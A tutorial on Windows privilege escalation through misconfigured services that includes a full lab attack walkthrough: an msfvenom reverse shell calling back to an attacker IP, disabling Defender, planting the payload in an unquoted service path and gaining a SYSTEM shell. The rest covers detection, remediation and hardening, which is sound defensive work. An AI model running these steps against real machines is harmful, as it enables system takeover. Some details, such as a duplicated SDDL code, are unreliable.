Windows Privilege Escalation via Service Misconfigurations (Conceptual Only)
Windows services are background processes that run with various privilege levels, often with SYSTEM or Local Administrator rights. When these services are misconfigured, they become one of the most common and dangerous vectors for privilege escalation, allowing standard users to gain full system control.
What Is Windows Service-Based Privilege Escalation?
Windows service-based privilege escalation occurs when a user with limited privileges can manipulate a service running with higher privileges (typically SYSTEM) to execute arbitrary code or gain elevated access. This is possible due to configuration errors, not software vulnerabilities.
Unlike kernel exploits that require unpatched systems, service misconfigurations are administrative oversights that can be found on fully patched systems, making them extremely common in enterprise environments.
πͺ Windows Service Fundamentals
- SYSTEM (LocalSystem): Highest privilege level - unrestricted system access
- Local Service: Limited privileges, anonymous network access
- Network Service: Limited privileges, authenticated network access
- User Account: Runs with specific user privileges
- Binary Path: Executable to run
- Service DACL: Who can control the service
- Registry Keys: Service configuration in HKLM
- File Permissions: Service binary permissions
How Windows Service Escalation Happens (High-Level)
π΄ Primary Attack Vectors
How it works:
When a service path contains spaces and is not enclosed in quotes, Windows interprets the path ambiguously. It attempts to execute in this order:
C:\Program.exe(first word before space)C:\Program Files\Vendor.exe(next word combination)C:\Program Files\Vendor\service.exe(full path)
Vulnerable example:
C:\Program Files\Vendor App\service.exe
Risk:
If a user can write to C:\ or C:\Program Files\, they can place a malicious Program.exe or Vendor.exe that executes when the service starts.
How it works:
Each service has a Discretionary Access Control List (DACL) that defines who can perform actions like:
SERVICE_CHANGE_CONFIG- Modify service configurationSERVICE_STOP- Stop the serviceSERVICE_START- Start the serviceSERVICE_ALL_ACCESS- Full control
Risk:
If BUILTIN\Users or Everyone has SERVICE_CHANGE_CONFIG, a standard user can change the binary path to point to a malicious executable and restart the service.
sc config VulnService binPath= "C:\malware.exe"
net start VulnService
How it works:
The actual executable file that the service runs may have weak permissions, allowing users to replace it.
Risk:
If BUILTIN\Users has FILE_WRITE_DATA or FILE_ALL_ACCESS on the service binary, a user can replace it with a malicious executable.
icacls "C:\Program Files\Vendor\service.exe"
# If output shows BUILTIN\Users:(W) or Everyone:(W), it is vulnerable
How it works:
Service configuration is stored in the registry at:
HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>
The ImagePath value specifies the binary path. If registry permissions are weak, users can modify it.
Risk:
If BUILTIN\Users has write access to this registry key, they can change ImagePath to point to a malicious executable.
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\malware.exe" /f
π Real-World Windows Attack Chain (Defensive Walkthrough)
The following step-by-step demonstration shows how an attacker would exploit an unquoted service path vulnerability from initial access to full SYSTEM privileges. This is shown for defensive understanding and educational purposes only. Each step includes the exact commands, expected outputs, and defensive detection opportunities.
π Example 1: Unquoted Service Paths
Path MisconfigurationScenario:
A company deploys a monitoring agent across all workstations. The service is configured with an unquoted path, and standard users have write access to C:\Program Files\ due to legacy permissions. This creates a complete privilege escalation path from low-privilege user to SYSTEM.
The attacker gains access as a standard user through various methods:
- Phishing email
- Compromised credentials
- Service vulnerability
- Malicious USB
Command (check current user):
Run this command on: Victim Machine (Windows)
C:\Users\lowuser> whoami
Output (current username):
workgroup\lowuser
Generate reverse shell executable using msfvenom:
Command:
Run this command on: Attacker Machine (Kali Linux)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=5555 -f exe -o reverse.exe
On Kali, start SMB server:
Command:
Run this command on: Attacker Machine (Kali Linux)
sudo impacket-smbserver share .
Disable Windows Defender:
PowerShell Command:
Run this command on: Victim Machine (Windows) - Admin PowerShell
Set-MpPreference -DisableRealtimeMonitoring $true
Copy payload:
Command:
Run this command on: Victim Machine (Windows)
copy \10.10.10.10\share\reverse.exe C:\PrivEsc\reverse.exe
Check username:
Run this command on: Victim Machine (Windows)
C:\Users\lowuser> whoami
workgroup\lowuser
Check privileges:
Run this command on: Victim Machine (Windows)
C:\Users\lowuser> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Find unquoted service paths:
Command:
Run this command on: Victim Machine (Windows)
wmic service get name,pathname | findstr /v /i "system32" | findstr /v "\""
Output (vulnerable service found):
unquotedsvc C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
Download AccessChk:
Check directory permissions:
Command:
Run this command on: Victim Machine (Windows) - from C:\PrivEsc folder
accesschk64.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
Output (directory permissions):
RW BUILTIN\Users
FILE_ADD_FILE
FILE_WRITE_DATA β Users can write to this directory
Query service configuration:
Command (query service configuration):
Run this command on: Victim Machine (Windows)
C:\Users\lowuser> sc qc unquotedsvc
Output (relevant service information):
SERVICE_NAME: unquotedsvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Unquoted Path Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem β Service runs as SYSTEM
Windows execution order for unquoted path:
C:\Program.exeC:\Program Files\Unquoted.exeC:\Program Files\Unquoted Path\Common.exeC:\Program Files\Unquoted Path Service\Common.exeβ Target
Command (copy payload to vulnerable directory):
Run this command on: Victim Machine (Windows)
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
Output (successful copy):
1 file(s) copied.
Run this command on: Attacker Machine (Kali Linux)
sudo nc -lvnp 5555
Run this command on: Victim Machine (Windows)
net start unquotedsvc
Result on Kali listener:
connect to [10.10.10.10] from [192.168.1.100] 49158
Microsoft Windows [Version 10.0.19045.3693]
C:\Windows\System32> whoami
nt authority\system
The Misconfiguration (Root Cause):
Unquoted Path
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
Writable Directory
C:\Program Files\Unquoted Path Service\ writable by Users
SYSTEM Privileges
Service runs as LocalSystemRemediation Steps:
Option 1: Quote the service path (Primary Fix)
sc config unquotedsvc binPath= "\"C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe\""
Option 2: Remove write permissions
icacls "C:\Program Files\Unquoted Path Service" /inheritance:r /grant Administrators:F /grant SYSTEM:F /deny Users:W
- WinPEAS/PowerUp: Automatically detect unquoted service paths
- WMI query:
wmic service get name,pathname | findstr /v /i "system32" | findstr /v "\"" - Event ID 4688: Monitor for unusual process creation from
C:\Program.exe - Event ID 7045: New service installation
- Event ID 7036: Service start/stop events
Scenario:
A developer creates a custom service for internal testing. They set permissions to allow all users to control it for convenience.
The Misconfiguration:
sc sdshow TestService
# Output includes: (A;;CCLCSWRPWPDTLOCRRC;;;AU)
This SDDL shows that Authenticated Users (AU) have SERVICE_CHANGE_CONFIG permissions.
Defensive Analysis:
During an audit, this service is flagged. Any authenticated user could change the binary path and gain SYSTEM access.
Remediation:
Reset service permissions to default:
sc sdset TestService D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
Scenario:
A company installs legacy third-party software. The service binary has weak permissions.
The Misconfiguration:
icacls "C:\Program Files (x86)\LegacyApp\service.exe"
# Output: BUILTIN\Users:(W) Everyone:(R)
Users have write access to the service executable.
Defensive Analysis:
Any user can replace service.exe with a malicious binary. When the service restarts (daily, at boot, or manually), it runs as SYSTEM.
Remediation:
icacls "C:\Program Files (x86)\LegacyApp\service.exe" /inheritance:r /grant Administrators:F /grant SYSTEM:F
π Detecting Windows Service Misconfigurations (Defensive)
π Service Enumeration Commands
-
List all services with detailed info
sc query state= all -
Query specific service configuration
sc qc <servicename> -
List services with WMI
wmic service get name,pathname,startname,startmode -
PowerShell service enumeration
Get-WmiObject win32_service | Select-Object Name, PathName, StartName, State
π Permission Auditing Commands
-
Check service DACL (permissions)
Look for "AU" (Authenticated Users) or "BU" (Built-in Users) with write permissions.sc sdshow <servicename> -
Check service binary permissions
icacls "C:\path\to\service.exe" -
Check service registry key permissions
Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\<servicename>" | Format-List -
Use Sysinternals AccessChk
accesschk.exe -c <servicename>accesschk.exe -c * | findstr "RW"
π§ Unquoted Service Path Detection
-
Find unquoted service paths (CMD)
wmic service get name,pathname | findstr /i /v "C:\Windows\" | findstr /i /v """" -
Find unquoted service paths (PowerShell)
Get-WmiObject win32_service | Where-Object {\$_.PathName -match '^[^"].+ .+'} | Select-Object Name, PathName
π‘οΈ Automated Auditing Tools (Defensive)
- WinPEAS β Comprehensive Windows privilege escalation scanner
- PowerUp β PowerShell tool specifically for service misconfigurations
- SharpUp β C# implementation of PowerUp
- AccessChk β Sysinternals tool for permission auditing
π‘οΈ Preventing Windows Service-Based Privilege Escalation
β Hardening Checklist
| Control | Implementation | Verification Command |
|---|---|---|
| Quote all service paths | sc config ServiceName binPath= "\"C:\Program Files\Vendor\service.exe\"" |
sc qc ServiceName | findstr BINARY_PATH_NAME |
| Restrict service DACLs | Use default permissions or restrict to Administrators only | sc sdshow ServiceName |
| Protect service binaries | icacls "C:\Program Files\Vendor\service.exe" /inheritance:r /grant Administrators:F /grant SYSTEM:F |
icacls "C:\Program Files\Vendor\service.exe" |
| Protect service registry keys | Ensure only Administrators and SYSTEM have write access | Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName" |
| Run services with least privilege | Use Network Service or Local Service instead of SYSTEM | sc qc ServiceName | findstr SERVICE_START_NAME |
π Group Policy Recommendations
- β Restrict write access to system directories β Ensure
C:\,C:\Program Files, andC:\Windowsare not writable by standard users - β Deploy LAPS β Manage local administrator passwords to prevent lateral movement
- β Enable Windows Defender Credential Guard β Protect LSASS from credential dumping
- β Implement AppLocker β Restrict which executables can run, especially in writable directories
π Regular Auditing
- β Weekly scans β Run WinPEAS or PowerUp to identify new misconfigurations
- β Change monitoring β Alert on modifications to service configurations
- β Vulnerability management β Prioritize service misconfigurations in your scanning
π Windows Service Permission Levels (SDDL Explained)
Service permissions are defined using Security Descriptor Definition Language (SDDL). Here is what common entries mean:
| SDDL Abbreviation | Meaning | Risk Level |
|---|---|---|
| SY | Local System | Required |
| BA | Built-in Administrators | Required |
| AU | Authenticated Users | HIGH RISK if write access |
| BU | Built-in Users | HIGH RISK if write access |
| WD | Everyone (World) | CRITICAL if any access |
Common Service Permission Rights:
- CC β SERVICE_QUERY_CONFIG (read configuration β low risk)
- LC β SERVICE_QUERY_STATUS (low risk)
- RP β SERVICE_START (medium risk)
- WP β SERVICE_STOP (medium risk)
- DT β SERVICE_PAUSE_CONTINUE (medium risk)
- CC β SERVICE_USER_DEFINED_CONTROL (medium risk)
- DC β SERVICE_CHANGE_CONFIG (HIGH RISK β can change binary path)
- WO β WRITE_OWNER (HIGH RISK)
- WD β WRITE_DAC (HIGH RISK)
π§Ύ Key Takeaways
- β Service misconfigurations are the #1 Windows privilege escalation vector β More common than kernel exploits
- β Four main types: Unquoted paths, weak DACLs, weak binary permissions, weak registry permissions
- β All are configuration errors β Fully patched systems are still vulnerable if misconfigured
- β Regular auditing is essential β Use WinPEAS/PowerUp/AccessChk weekly
- β Prevention is simple: Quote paths, restrict permissions, run services with least privilege
π Additional Resources
- LOLBAS β https://lolbas-project.github.io/ (Windows binary exploitation reference)
- PowerUp β PowerShell tool for Windows service auditing
- WinPEAS β Windows Privilege Escalation Awesome Script
- Microsoft Docs: Service Security and Access Rights β Official documentation